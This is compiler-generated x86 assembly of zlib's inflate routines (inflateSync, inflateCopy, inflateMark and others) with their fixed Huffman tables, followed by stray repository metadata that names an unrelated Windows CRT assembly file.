# ---------------------- .globl inflateGetHeader .type inflateGetHeader, @function inflateGetHeader: .cfi_startproc movl 4(%esp), %eax movl 8(%esp), %edx testl %eax, %eax je .L859 movl 28(%eax), %eax testl %eax, %eax je .L859 testb $2, 8(%eax) je .L859 movl %edx, 32(%eax) movl $0, 48(%edx) xorl %eax, %eax ret .p2align 4,,10 .p2align 3 .L859: movl $-2, %eax ret .LHOTE28: .LHOTB29: .cfi_endproc .size inflateGetHeader, .-inflateGetHeader # ---------------------- .p2align 4,,15 # ---------------------- .globl inflateSync .type inflateSync, @function inflateSync: .cfi_startproc pushl %ebp pushl %edi pushl %esi pushl %ebx subl $24, %esp movl 44(%esp), %ebp testl %ebp, %ebp je .L880 movl 28(%ebp), %ebx testl %ebx, %ebx je .L880 movl 4(%ebp), %eax testl %eax, %eax movl %eax, %edi je .L903 .L862: cmpl $31, (%ebx) je .L904 movl 60(%ebx), %eax movl 56(%ebx), %edx movl $31, (%ebx) movl %eax, %ecx andl $-8, %eax andl $7, %ecx movl %eax, 60(%ebx) sall %cl, %edx cmpl $7, %eax movl %edx, 56(%ebx) jbe .L882 leal -8(%eax), %edi movl %edx, %ecx movb %dl, 20(%esp) shrl $8, %ecx cmpl $7, %edi jbe .L866 leal -16(%eax), %esi movb %cl, 21(%esp) movl %edx, %ecx shrl $16, %ecx cmpl $7, %esi jbe .L866 subl $24, %eax shrl $24, %edx movb %cl, 22(%esp) cmpl $7, %eax movl %edx, %ecx jbe .L866 movb %dl, 23(%esp) xorl %ecx, %ecx .L866: shrl $3, %edi movl %ecx, 56(%ebx) movl $0, 60(%ebx) addl $1, %edi xorl %eax, %eax xorl %edx, %edx movl %ebx, %esi jmp .L870 .p2align 4,,10 .p2align 3 .L906: movl $4, %ebx subl %eax, %ebx cmpl $3, %ebx movl %ebx, %eax setbe %cl .L869: addl $1, %edx testb %cl, %cl je .L900 .L907: cmpl %edi, %edx jnb .L900 .L870: movzbl 20(%esp,%edx), %ebx cmpl $2, %eax sbbl %ecx, %ecx notl %ecx cmpb %cl, %bl je .L905 testb %bl, %bl je .L906 movl $1, %ecx xorl %eax, %eax addl $1, %edx testb %cl, %cl jne .L907 .p2align 4,,10 .p2align 3 .L900: movl %esi, %ebx .L865: movl %eax, 104(%ebx) movl 4(%ebp), %esi movl %esi, %edi .L864: testl %edi, %edi movl (%ebp), %esi setne %dl andb %cl, %dl movb %dl, 3(%esp) movl $0, %edx je .L872 movl %ebx, 4(%esp) jmp .L876 .p2align 4,,10 .p2align 3 .L909: movl $4, %ebx subl %eax, %ebx cmpl $3, %ebx movl %ebx, %eax setbe %cl .L875: addl $1, %edx testb %cl, %cl je .L901 .L910: cmpl %edx, %edi jbe .L901 .L876: movzbl (%esi,%edx), %ebx cmpl $2, %eax sbbl %ecx, %ecx notl %ecx cmpb %cl, %bl je .L908 testb %bl, %bl je .L909 movzbl 3(%esp), %ecx xorl %eax, %eax addl $1, %edx testb %cl, %cl jne .L910 .p2align 4,,10 .p2align 3 .L901: movl 4(%esp), %ebx .L872: movl %eax, 104(%ebx) addl %edx, %esi subl %edx, 4(%ebp) addl 8(%ebp), %edx cmpl $4, %eax movl %esi, (%ebp) movl %edx, 8(%ebp) jne .L888 movl 8(%ebx), %eax movl 20(%ebp), %ecx movl $0, 40(%ebx) movl $0, 44(%ebx) movl $0, 48(%ebx) movl $0, 28(%ebx) testl %eax, %eax movl $0, 20(%ebp) movl $0, 8(%ebp) movl $0, 24(%ebp) jne .L911 .L878: leal 1328(%ebx), %eax movl $0, 4(%ebx) movl $0, 12(%ebx) movl $32768, 20(%ebx) movl $0, 32(%ebx) movl %eax, 108(%ebx) movl %eax, 80(%ebx) movl %eax, 76(%ebx) movl $0, 56(%ebx) xorl %eax, %eax movl $0, 60(%ebx) movl $1, 7104(%ebx) movl $-1, 7108(%ebx) movl %edx, 8(%ebp) movl %ecx, 20(%ebp) movl $11, (%ebx) .L861: addl $24, %esp popl %ebx popl %esi popl %edi popl %ebp ret .p2align 4,,10 .p2align 3 .L905: addl $1, %eax cmpl $3, %eax setbe %cl jmp .L869 .p2align 4,,10 .p2align 3 .L908: addl $1, %eax cmpl $3, %eax setbe %cl jmp .L875 .p2align 4,,10 .p2align 3 .L903: cmpl $7, 60(%ebx) ja .L862 movl $-5, %eax jmp .L861 .p2align 4,,10 .p2align 3 .L911: andl $1, %eax movl %eax, 48(%ebp) jmp .L878 .p2align 4,,10 .p2align 3 .L904: movl 104(%ebx), %eax cmpl $3, %eax setbe %cl jmp .L864 .p2align 4,,10 .p2align 3 .L888: addl $24, %esp movl $-3, %eax popl %ebx popl %esi popl %edi popl %ebp ret .p2align 4,,10 .p2align 3 .L882: movl $1, %ecx xorl %eax, %eax jmp .L865 .L880: movl $-2, %eax jmp .L861 .LHOTE29: .LHOTB30: .cfi_endproc .size inflateSync, .-inflateSync # ---------------------- .p2align 4,,15 # ---------------------- .globl inflateSyncPoint .type inflateSyncPoint, @function inflateSyncPoint: .cfi_startproc movl 4(%esp), %eax testl %eax, %eax je .L915 movl 28(%eax), %edx testl %edx, %edx je .L915 xorl %eax, %eax cmpl $13, (%edx) je .L917 rep; ret .p2align 4,,10 .p2align 3 .L917: movl 60(%edx), %edx xorl %eax, %eax testl %edx, %edx sete %al ret .p2align 4,,10 .p2align 3 .L915: movl $-2, %eax ret .LHOTE30: .LHOTB31: .cfi_endproc .size inflateSyncPoint, .-inflateSyncPoint # ---------------------- .p2align 4,,15 # ---------------------- .globl inflateCopy .type inflateCopy, @function inflateCopy: .cfi_startproc pushl %ebp pushl %edi pushl %esi pushl %ebx subl $28, %esp movl 48(%esp), %ebx movl 52(%esp), %esi testl %ebx, %ebx je .L928 testl %esi, %esi je .L928 movl 28(%esi), %ebp testl %ebp, %ebp je .L928 movl 32(%esi), %eax testl %eax, %eax je .L928 movl 36(%esi), %edx testl %edx, %edx je .L928 subl $4, %esp pushl $7116 pushl $1 pushl 40(%esi) call *%eax addl $16, %esp testl %eax, %eax movl %eax, %edx je .L929 movl 52(%ebp), %eax testl %eax, %eax je .L930 movl %edx, 12(%esp) subl $4, %esp movl $1, %eax pushl $1 movl 36(%ebp), %ecx sall %cl, %eax pushl %eax pushl 40(%esi) call *32(%esi) movl %eax, 24(%esp) addl $16, %esp testl %eax, %eax movl 12(%esp), %edx je .L935 .L920: movl (%esi), %eax leal 4(%edx), %edi movl %edx, %ecx andl $-4, %edi movl %eax, (%ebx) movl 4(%esi), %eax subl %edi, %ecx movl %eax, 4(%ebx) movl 8(%esi), %eax movl %eax, 8(%ebx) movl 12(%esi), %eax movl %eax, 12(%ebx) movl 16(%esi), %eax movl %eax, 16(%ebx) movl 20(%esi), %eax movl %eax, 20(%ebx) movl 24(%esi), %eax movl %eax, 24(%ebx) movl 28(%esi), %eax movl %eax, 28(%ebx) movl 32(%esi), %eax movl %eax, 32(%ebx) movl 36(%esi), %eax movl %eax, 36(%ebx) movl 40(%esi), %eax movl %eax, 40(%ebx) movl 44(%esi), %eax movl %eax, 44(%ebx) movl 48(%esi), %eax movl %eax, 48(%ebx) movl 52(%esi), %eax movl %ebp, %esi subl %ecx, %esi addl $7116, %ecx shrl $2, %ecx movl %eax, 52(%ebx) movl (%ebp), %eax movl %eax, (%edx) movl 7112(%ebp), %eax movl %eax, 7112(%edx) rep movsl movl 76(%ebp), %eax leal 1328(%ebp), %ecx cmpl %ecx, %eax jnb .L936 .L922: movl 108(%ebp), %eax movl 8(%esp), %edi subl %ecx, %eax andl $-4, %eax testl %edi, %edi leal 1328(%eax,%edx), %eax movl %eax, 108(%edx) je .L924 movl 36(%ebp), %ecx movl $1, %eax movl %edx, 12(%esp) subl $4, %esp sall %cl, %eax pushl %eax pushl 52(%ebp) pushl %edi call memcpy addl $16, %esp movl 12(%esp), %edx .L924: movl 8(%esp), %eax movl %eax, 52(%edx) movl %edx, 28(%ebx) xorl %eax, %eax .L919: addl $28, %esp popl %ebx popl %esi popl %edi popl %ebp ret .p2align 4,,10 .p2align 3 .L936: leal 7100(%ebp), %esi cmpl %esi, %eax ja .L922 subl %ecx, %eax andl $-4, %eax leal 1328(%eax,%edx), %eax movl %eax, 76(%edx) movl 80(%ebp), %eax subl %ecx, %eax andl $-4, %eax leal 1328(%eax,%edx), %eax movl %eax, 80(%edx) jmp .L922 .p2align 4,,10 .p2align 3 .L930: movl $0, 8(%esp) jmp .L920 .p2align 4,,10 .p2align 3 .L928: movl $-2, %eax jmp .L919 .L929: movl $-4, %eax jmp .L919 .L935: subl $8, %esp pushl %edx pushl 40(%esi) call *36(%esi) addl $16, %esp movl $-4, %eax jmp .L919 .LHOTE31: .LHOTB32: .cfi_endproc .size inflateCopy, .-inflateCopy # ---------------------- .p2align 4,,15 # ---------------------- .globl inflateUndermine .type inflateUndermine, @function inflateUndermine: .cfi_startproc movl 4(%esp), %eax testl %eax, %eax je .L940 movl 28(%eax), %eax testl %eax, %eax je .L940 movl $1, 7104(%eax) movl $-3, %eax ret .p2align 4,,10 .p2align 3 .L940: movl $-2, %eax ret .LHOTE32: .LHOTB33: .cfi_endproc .size inflateUndermine, .-inflateUndermine # ---------------------- .p2align 4,,15 # ---------------------- .globl inflateMark .type inflateMark, @function inflateMark: .cfi_startproc pushl %ebx movl 8(%esp), %eax testl %eax, %eax je .L946 movl 28(%eax), %ecx testl %ecx, %ecx je .L946 movl 7108(%ecx), %edx movl (%ecx), %ebx sall $16, %edx cmpl $15, %ebx je .L949 xorl %eax, %eax cmpl $24, %ebx je .L950 addl %edx, %eax .L942: popl %ebx ret .p2align 4,,10 .p2align 3 .L949: movl 64(%ecx), %eax addl %edx, %eax jmp .L942 .p2align 4,,10 .p2align 3 .L950: movl 7112(%ecx), %eax subl 64(%ecx), %eax addl %edx, %eax jmp .L942 .p2align 4,,10 .p2align 3 .L946: movl $-65536, %eax popl %ebx ret .LHOTE33: .cfi_endproc .size inflateMark, .-inflateMark # ---------------------- .section .rodata .align 64 .local distfix.3431 .type distfix.3431, @object distfix.3431: .byte 16 .byte 5 .value 1 .byte 23 .byte 5 .value 257 .byte 19 .byte 5 .value 17 .byte 27 .byte 5 .value 4097 .byte 17 .byte 5 .value 5 .byte 25 .byte 5 .value 1025 .byte 21 .byte 5 .value 65 .byte 29 .byte 5 .value 16385 .byte 16 .byte 5 .value 3 .byte 24 .byte 5 .value 513 .byte 20 .byte 5 .value 33 .byte 28 .byte 5 .value 8193 .byte 18 .byte 5 .value 9 .byte 26 .byte 5 .value 2049 .byte 22 .byte 5 .value 129 .byte 64 .byte 5 .value 0 .byte 16 .byte 5 .value 2 .byte 23 .byte 5 .value 385 .byte 19 .byte 5 .value 25 .byte 27 .byte 5 .value 6145 .byte 17 .byte 5 .value 7 .byte 25 .byte 5 .value 1537 .byte 21 .byte 5 .value 97 .byte 29 .byte 5 .value 24577 .byte 16 .byte 5 .value 4 .byte 24 .byte 5 .value 769 .byte 20 .byte 5 .value 49 .byte 28 .byte 5 .value 12289 .byte 18 .byte 5 .value 13 .byte 26 .byte 5 .value 3073 .byte 22 .byte 5 .value 193 .byte 64 .byte 5 .value 0 .size distfix.3431, 128 # ---------------------- .align 64 .local lenfix.3430 .type lenfix.3430, @object lenfix.3430: .byte 96 .byte 7 .value 0 .byte 0 .byte 8 .value 80 .byte 0 .byte 8 .value 16 .byte 20 .byte 8 .value 115 .byte 18 .byte 7 .value 31 .byte 0 .byte 8 .value 112 .byte 0 .byte 8 .value 48 .byte 0 .byte 9 .value 192 .byte 16 .byte 7 .value 10 .byte 0 .byte 8 .value 96 .byte 0 .byte 8 .value 32 .byte 0 .byte 9 .value 160 .byte 0 .byte 8 .value 0 .byte 0 .byte 8 .value 128 .byte 0 .byte 8 .value 64 .byte 0 .byte 9 .value 224 .byte 16 .byte 7 .value 6 .byte 0 .byte 8 .value 88 .byte 0 .byte 8 .value 24 .byte 0 .byte 9 .value 144 .byte 19 .byte 7 .value 59 .byte 0 .byte 8 .value 120 .byte 0 .byte 8 .value 56 .byte 0 .byte 9 .value 208 .byte 17 .byte 7 .value 17 .byte 0 .byte 8 .value 104 .byte 0 .byte 8 .value 40 .byte 0 .byte 9 .value 176 .byte 0 .byte 8 .value 8 .byte 0 .byte 8 .value 136 .byte 0 .byte 8 .value 72 .byte 0 .byte 9 .value 240 .byte 16 .byte 7 .value 4 .byte 0 .byte 8 .value 84 .byte 0 .byte 8 .value 20 .byte 21 .byte 8 .value 227 .byte 19 .byte 7 .value 43 .byte 0 .byte 8 .value 116 .byte 0 .byte 8 .value 52 .byte 0 .byte 9 .value 200 .byte 17 .byte 7 .value 13 .byte 0 .byte 8 .value 100 .byte 0 .byte 8 .value 36 .byte 0 .byte 9 .value 168 .byte 0 .byte 8 .value 4 .byte 0 .byte 8 .value 132 .byte 0 .byte 8 .value 68 .byte 0 .byte 9 .value 232 .byte 16 .byte 7 .value 8 .byte 0 .byte 8 .value 92 .byte 0 .byte 8 .value 28 .byte 0 .byte 9 .value 152 .byte 20 .byte 7 .value 83 .byte 0 .byte 8 .value 124 .byte 0 .byte 8 .value 60 .byte 0 .byte 9 .value 216 .byte 18 .byte 7 .value 23 .byte 0 .byte 8 .value 108 .byte 0 .byte 8 .value 44 .byte 0 .byte 9 .value 184 .byte 0 .byte 8 .value 12 .byte 0 .byte 8 .value 140 .byte 0 .byte 8 .value 76 .byte 0 .byte 9 .value 248 .byte 16 .byte 7 .value 3 .byte 0 .byte 8 .value 82 .byte 0 .byte 8 .value 18 .byte 21 .byte 8 .value 163 .byte 19 .byte 7 .value 35 .byte 0 .byte 8 .value 114 .byte 0 .byte 8 .value 50 .byte 0 .byte 9 .value 196 .byte 17 .byte 7 .value 11 .byte 0 .byte 8 .value 98 .byte 0 .byte 8 .value 34 .byte 0 .byte 9 .value 164 .byte 0 .byte 8 .value 2 .byte 0 .byte 8 .value 130 .byte 0 .byte 8 .value 66 .byte 0 .byte 9 .value 228 .byte 16 .byte 7 .value 7 .byte 0 .byte 8 .value 90 .byte 0 .byte 8 .value 26 .byte 0 .byte 9 .value 148 .byte 20 .byte 7 .value 67 .byte 0 .byte 8 .value 122 .byte 0 .byte 8 .value 58 .byte 0 .byte 9 .value 212 .byte 18 .byte 7 .value 19 .byte 0 .byte 8 .value 106 .byte 0 .byte 8 .value 42 .byte 0 .byte 9 .value 180 .byte 0 .byte 8 .value 10 .byte 0 .byte 8 .value 138 .byte 0 .byte 8 .value 74 .byte 0 .byte 9 .value 244 .byte 16 .byte 7 .value 5 .byte 0 .byte 8 .value 86 .byte 0 .byte 8 .value 22 .byte 64 .byte 8 .value 0 .byte 19 .byte 7 .value 51 .byte 0 .byte 8 .value 118 .byte 0 .byte 8 .value 54 .byte 0 .byte 9 .value 204 .byte 17 .byte 7 .value 15 .byte 0 .byte 8 .value 102 .byte 0 .byte 8 .value 38 .byte 0 .byte 9 .value 172 .byte 0 .byte 8 .value 6 .byte 0 .byte 8 .value 134 .byte 0 .byte 8 .value 70 .byte 0 .byte 9 .value 236 .byte 16 .byte 7 .value 9 .byte 0 .byte 8 .value 94 .byte 0 .byte 8 .value 30 .byte 0 .byte 9 .value 156 .byte 20 .byte 7 .value 99 .byte 0 .byte 8 .value 126 .byte 0 .byte 8 .value 62 .byte 0 .byte 9 .value 220 .byte 18 .byte 7 .value 27 .byte 0 .byte 8 .value 110 .byte 0 .byte 8 .value 46 .byte 0 .byte 9 .value 188 .byte 0 .byte 8 .value 14 .byte 0 .byte 8 .value 142 .byte 0 .byte 8 .value 78 .byte 0 .byte 9 .value 252 .byte 96 .byte 7 .value 0 .byte 0 .byte 8 .value 81 .byte 0 .byte 8 .value 17 .byte 21 .byte 8 .value 131 .byte 18 .byte 7 .value 31 .byte 0 .byte 8 .value 113 .byte 0 .byte 8 .value 49 .byte 0 .byte 9 .value 194 .byte 16 .byte 7 .value 10 .byte 0 .byte 8 .value 97 .byte 0 .byte 8 .value 33 .byte 0 .byte 9 .value 162 .byte 0 .byte 8 .value 1 .byte 0 .byte 8 .value 129 .byte 0 .byte 8 .value 65 .byte 0 .byte 9 .value 226 .byte 16 .byte 7 .value 6 .byte 0 .byte 8 .value 89 .byte 0 .byte 8 .value 25 .byte 0 .byte 9 .value 146 .byte 19 .byte 7 .value 59 .byte 0 .byte 8 .value 121 .byte 0 .byte 8 .value 57 .byte 0 .byte 9 .value 210 .byte 17 .byte 7 .value 17 .byte 0 .byte 8 .value 105 .byte 0 .byte 8 .value 41 .byte 0 .byte 9 .value 178 .byte 0 .byte 8 .value 9 .byte 0 .byte 8 .value 137 .byte 0 .byte 8 .value 73 .byte 0 .byte 9 .value 242 .byte 16 .byte 7 .value 4 .byte 0 .byte 8 .value 85 .byte 0 .byte 8 .value 21 .byte 16 .byte 8 .value 258 .byte 19 .byte 7 .value 43 .byte 0 .byte 8 .value 117 .byte 0 .byte 8 .value 53 .byte 0 .byte 9 .value 202 .byte 17 .byte 7 .value 13 .byte 0 .byte 8 .value 101 .byte 0 .byte 8 .value 37 .byte 0 .byte 9 .value 170 .byte 0 .byte 8 .value 5 .byte 0 .byte 8 .value 133 .byte 0 .byte 8 .value 69 .byte 0 .byte 9 .value 234 .byte 16 .byte 7 .value 8 .byte 0 .byte 8 .value 93 .byte 0 .byte 8 .value 29 .byte 0 .byte 9 .value 154 .byte 20 .byte 7 .value 83 .byte 0 .byte 8 .value 125 .byte 0 .byte 8 .value 61 .byte 0 .byte 9 .value 218 .byte 18 .byte 7 .value 23 .byte 0 .byte 8 .value 109 .byte 0 .byte 8 .value 45 .byte 0 .byte 9 .value 186 .byte 0 .byte 8 .value 13 .byte 0 .byte 8 .value 141 .byte 0 .byte 8 .value 77 .byte 0 .byte 9 .value 250 .byte 16 .byte 7 .value 3 .byte 0 .byte 8 .value 83 .byte 0 .byte 8 .value 19 .byte 21 .byte 8 .value 195 .byte 19 .byte 7 .value 35 .byte 0 .byte 8 .value 115 .byte 0 .byte 8 .value 51 .byte 0 .byte 9 .value 198 .byte 17 .byte 7 .value 11 .byte 0 .byte 8 .value 99 .byte 0 .byte 8 .value 35 .byte 0 .byte 9 .value 166 .byte 0 .byte 8 .value 3 .byte 0 .byte 8 .value 131 .byte 0 .byte 8 .value 67 .byte 0 .byte 9 .value 230 .byte 16 .byte 7 .value 7 .byte 0 .byte 8 .value 91 .byte 0 .byte 8 .value 27 .byte 0 .byte 9 .value 150 .byte 20 .byte 7 .value 67 .byte 0 .byte 8 .value 123 .byte 0 .byte 8 .value 59 .byte 0 .byte 9 .value 214 .byte 18 .byte 7 .value 19 .byte 0 .byte 8 .value 107 .byte 0 .byte 8 .value 43 .byte 0 .byte 9 .value 182 .byte 0 .byte 8 .value 11 .byte 0 .byte 8 .value 139 .byte 0 .byte 8 .value 75 .byte 0 .byte 9 .value 246 .byte 16 .byte 7 .value 5 .byte 0 .byte 8 .value 87 .byte 0 .byte 8 .value 23 .byte 64 .byte 8 .value 0 .byte 19 .byte 7 .value 51 .byte 0 .byte 8 .value 119 .byte 0 .byte 8 .value 55 .byte 0 .byte 9 .value 206 .byte 17 .byte 7 .value 15 .byte 0 .byte 8 .value 103 .byte 0 .byte 8 .value 39 .byte 0 .byte 9 .value 174 .byte 0 .byte 8 .value 7 .byte 0 .byte 8 .value 135 .byte 0 .byte 8 .value 71 .byte 0 .byte 9 .value 238 .byte 16 .byte 7 .value 9 .byte 0 .byte 8 .value 95 .byte 0 .byte 8 .value 31 .byte 0 .byte 9 .value 158 .byte 20 .byte 7 .value 99 .byte 0 .byte 8 .value 127 .byte 0 .byte 8 .value 63 .byte 0 .byte 9 .value 222 .byte 18 .byte 7 .value 27 .byte 0 .byte 8 .value 111 .byte 0 .byte 8 .value 47 .byte 0 .byte 9 .value 190 .byte 0 .byte 8 .value 15 .byte 0 .byte 8 .value 143 .byte 0 .byte 8 .value 79 .byte 0 .byte 9 .value 254 .byte 96 .byte 7 .value 0 .byte 0 .byte 8 .value 80 .byte 0 .byte 8 .value 16 .byte 20 .byte 8 .value 115 .byte 18 .byte 7 .value 31 .byte 0 .byte 8 .value 112 .byte 0 .byte 8 .value 48 .byte 0 .byte 9 .value 193 .byte 16 .byte 7 .value 10 .byte 0 .byte 8 .value 96 .byte 0 .byte 8 .value 32 .byte 0 .byte 9 .value 161 .byte 0 .byte 8 .value 0 .byte 0 .byte 8 .value 128 .byte 0 .byte 8 .value 64 .byte 0 .byte 9 .value 225 .byte 16 .byte 7 .value 6 .byte 0 .byte 8 .value 88 .byte 0 .byte 8 .value 24 .byte 0 .byte 9 .value 145 .byte 19 .byte 7 .value 59 .byte 0 .byte 8 .value 120 .byte 0 .byte 8 .value 56 .byte 0 .byte 9 .value 209 .byte 17 .byte 7 .value 17 .byte 0 .byte 8 .value 104 .byte 0 .byte 8 .value 40 .byte 0 .byte 9 .value 177 .byte 0 .byte 8 .value 8 .byte 0 .byte 8 .value 136 .byte 0 .byte 8 .value 72 .byte 0 .byte 9 .value 241 .byte 16 .byte 7 .value 4 .byte 0 .byte 8 .value 84 .byte 0 .byte 8 .value 20 .byte 21 .byte 8 .value 227 .byte 19 .byte 7 .value 43 .byte 0 .byte 8 .value 116 .byte 0 .byte 8 .value 52 .byte 0 .byte 9 .value 201 .byte 17 .byte 7 .value 13 .byte 0 .byte 8 .value 100 .byte 0 .byte 8 .value 36 .byte 0 .byte 9 .value 169 .byte 0 .byte 8 .value 4 .byte 0 .byte 8 .value 132 .byte 0 .byte 8 .value 68 .byte 0 .byte 9 .value 233 .byte 16 .byte 7 .value 8 .byte 0 .byte 8 .value 92 .byte 0 .byte 8 .value 28 .byte 0 .byte 9 .value 153 .byte 20 .byte 7 .value 83 .byte 0 .byte 8 .value 124 .byte 0 .byte 8 .value 60 .byte 0 .byte 9 .value 217 .byte 18 .byte 7 .value 23 .byte 0 .byte 8 .value 108 .byte 0 .byte 8 .value 44 .byte 0 .byte 9 .value 185 .byte 0 .byte 8 .value 12 .byte 0 .byte 8 .value 140 .byte 0 .byte 8 .value 76 .byte 0 .byte 9 .value 249 .byte 16 .byte 7 .value 3 .byte 0 .byte 8 .value 82 .byte 0 .byte 8 .value 18 .byte 21 .byte 8 .value 163 .byte 19 .byte 7 .value 35 .byte 0 .byte 8 .value 114 .byte 0 .byte 8 .value 50 .byte 0 .byte 9 .value 197 .byte 17 .byte 7 .value 11 .byte 0 .byte 8 .value 98 .byte 0 .byte 8 .value 34 .byte 0 .byte 9 .value 165 .byte 0 .byte 8 .value 2 .byte 0 .byte 8 .value 130 .byte 0 .byte 8 .value 66 .byte 0 .byte 9 .value 229 .byte 16 .byte 7 .value 7 .byte 0 .byte 8 .value 90 .byte 0 .byte 8 .value 26 .byte 0 .byte 9 .value 149 .byte 20 .byte 7 .value 67 .byte 0 .byte 8 .value 122 .byte 0 .byte 8 .value 58 .byte 0 .byte 9 .value 213 .byte 18 .byte 7 .value 19 .byte 0 .byte 8 .value 106 .byte 0 .byte 8 .value 42 .byte 0 .byte 9 .value 181 .byte 0 .byte 8 .value 10 .byte 0 .byte 8 .value 138 .byte 0 .byte 8 .value 74 .byte 0 .byte 9 .value 245 .byte 16 .byte 7 .value 5 .byte 0 .byte 8 .value 86 .byte 0 .byte 8 .value 22 .byte 64 .byte 8 .value 0 .byte 19 .byte 7 .value 51 .byte 0 .byte 8 .value 118 .byte 0 .byte 8 .value 54 .byte 0 .byte 9 .value 205 .byte 17 .byte 7 .value 15 .byte 0 .byte 8 .value 102 .byte 0 .byte 8 .value 38 .byte 0 .byte 9 .value 173 .byte 0 .byte 8 .value 6 .byte 0 .byte 8 .value 134 .byte 0 .byte 8 .value 70 .byte 0 .byte 9 .value 237 .byte 16 .byte 7 .value 9 .byte 0 .byte 8 .value 94 .byte 0 .byte 8 .value 30 .byte 0 .byte 9 .value 157 .byte 20 .byte 7 .value 99 .byte 0 .byte 8 .value 126 .byte 0 .byte 8 .value 62 .byte 0 .byte 9 .value 221 .byte 18 .byte 7 .value 27 .byte 0 .byte 8 .value 110 .byte 0 .byte 8 .value 46 .byte 0 .byte 9 .value 189 .byte 0 .byte 8 .value 14 .byte 0 .byte 8 .value 142 .byte 0 .byte 8 .value 78 .byte 0 .byte 9 .value 253 .byte 96 .byte 7 .value 0 .byte 0 .byte 8 .value 81 .byte 0 .byte 8 .value 17 .byte 21 .byte 8 .value 131 .byte 18 .byte 7 .value 31 .byte 0 .byte 8 .value 113 .byte 0 .byte 8 .value 49 .byte 0 .byte 9 .value 195 .byte 16 .byte 7 .value 10 .byte 0 .byte 8 .value 97 .byte 0 .byte 8 .value 33 .byte 0 .byte 9 .value 163 .byte 0 .byte 8 .value 1 .byte 0 .byte 8 .value 129 .byte 0 .byte 8 .value 65 .byte 0 .byte 9 .value 227 .byte 16 .byte 7 .value 6 .byte 0 .byte 8 .value 89 .byte 0 .byte 8 .value 25 .byte 0 .byte 9 .value 147 .byte 19 .byte 7 .value 59 .byte 0 .byte 8 .value 121 .byte 0 .byte 8 .value 57 .byte 0 .byte 9 .value 211 .byte 17 .byte 7 .value 17 .byte 0 .byte 8 .value 105 .byte 0 .byte 8 .value 41 .byte 0 .byte 9 .value 179 .byte 0 .byte 8 .value 9 .byte 0 .byte 8 .value 137 .byte 0 .byte 8 .value 73 .byte 0 .byte 9 .value 243 .byte 16 .byte 7 .value 4 .byte 0 .byte 8 .value 85 .byte 0 .byte 8 .value 21 .byte 16 .byte 8 .value 258 .byte 19 .byte 7 .value 43 .byte 0 .byte 8 .value 117 .byte 0 .byte 8 .value 53 .byte 0 .byte 9 .value 203 .byte 17 .byte 7 .value 13 .byte 0 .byte 8 .value 101 .byte 0 .byte 8 .value 37 .byte 0 .byte 9 .value 171 .byte 0 .byte 8 .value 5 .byte 0 .byte 8 .value 133 .byte 0 .byte 8 .value 69 .byte 0 .byte 9 .value 235 .byte 16 .byte 7 .value 8 .byte 0 .byte 8 .value 93 .byte 0 .byte 8 .value 29 .byte 0 .byte 9 .value 155 .byte 20 .byte 7 .value 83 .byte 0 .byte 8 .value 125 .byte 0 .byte 8 .value 61 .byte 0 .byte 9 .value 219 .byte 18 .byte 7 .value 23 .byte 0 .byte 8 .value 109 .byte 0 .byte 8 .value 45 .byte 0 .byte 9 .value 187 .byte 0 .byte 8 .value 13 .byte 0 .byte 8 .value 141 .byte 0 .byte 8 .value 77 .byte 0 .byte 9 .value 251 .byte 16 .byte 7 .value 3 .byte 0 .byte 8 .value 83 .byte 0 .byte 8 .value 19 .byte 21 .byte 8 .value 195 .byte 19 .byte 7 .value 35 .byte 0 .byte 8 .value 115 .byte 0 .byte 8 .value 51 .byte 0 .byte 9 .value 199 .byte 17 .byte 7 .value 11 .byte 0 .byte 8 .value 99 .byte 0 .byte 8 .value 35 .byte 0 .byte 9 .value 167 .byte 0 .byte 8 .value 3 .byte 0 .byte 8 .value 131 .byte 0 .byte 8 .value 67 .byte 0 .byte 9 .value 231 .byte 16 .byte 7 .value 7 .byte 0 .byte 8 .value 91 .byte 0 .byte 8 .value 27 .byte 0 .byte 9 .value 151 .byte 20 .byte 7 .value 67 .byte 0 .byte 8 .value 123 .byte 0 .byte 8 .value 59 .byte 0 .byte 9 .value 215 .byte 18 .byte 7 .value 19 .byte 0 .byte 8 .value 107 .byte 0 .byte 8 .value 43 .byte 0 .byte 9 .value 183 .byte 0 .byte 8 .value 11 .byte 0 .byte 8 .value 139 .byte 0 .byte 8 .value 75 .byte 0 .byte 9 .value 247 .byte 16 .byte 7 .value 5 .byte 0 .byte 8 .value 87 .byte 0 .byte 8 .value 23 .byte 64 .byte 8 .value 0 .byte 19 .byte 7 .value 51 .byte 0 .byte 8 .value 119 .byte 0 .byte 8 .value 55 .byte 0 .byte 9 .value 207 .byte 17 .byte 7 .value 15 .byte 0 .byte 8 .value 103 .byte 0 .byte 8 .value 39 .byte 0 .byte 9 .value 175 .byte 0 .byte 8 .value 7 .byte 0 .byte 8 .value 135 .byte 0 .byte 8 .value 71 .byte 0 .byte 9 .value 239 .byte 16 .byte 7 .value 9 .byte 0 .byte 8 .value 95 .byte 0 .byte 8 .value 31 .byte 0 .byte 9 .value 159 .byte 20 .byte 7 .value 99 .byte 0 .byte 8 .value 127 .byte 0 .byte 8 .value 63 .byte 0 .byte 9 .value 223 .byte 18 .byte 7 .value 27 .byte 0 .byte 8 .value 111 .byte 0 .byte 8 .value 47 .byte 0 .byte 9 .value 191 .byte 0 .byte 8 .value 15 .byte 0 .byte 8 .value 143 .byte 0 .byte 8 .value 79 .byte 0 .byte 9 .value 255 .size lenfix.3430, 2048 # ---------------------- .align 32 .local order.3459 .type order.3459, @object order.3459: .value 16 .value 17 .value 18 .value 0 .value 8 .value 7 .value 9 .value 6 .value 10 .value 5 .value 11 .value 4 .value 12 .value 3 .value 13 .value 2 .value 14 .value 1 .value 15 .size order.3459, 38 # ---------------------- .hidden inflate_fast .hidden inflate_table .hidden zcalloc .hidden zcfree .ident "GCC: (Debian 4.9.2-10) 4.9.2" .section .note.GNU-stack,"",@progbits
17.322549
51
0.485683
114cebc561436478764962ff9fb7d7048cdb4652
1,232
asm
Assembly
base/crts/fpw32/tran/i386/ftol.asm
npocmaka/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
17
2020-11-13T13:42:52.000Z
2021-09-16T09:13:13.000Z
base/crts/fpw32/tran/i386/ftol.asm
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
2
2020-10-19T08:02:06.000Z
2020-10-19T08:23:18.000Z
base/crts/fpw32/tran/i386/ftol.asm
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
14
2020-11-14T09:43:20.000Z
2021-08-28T08:59:57.000Z
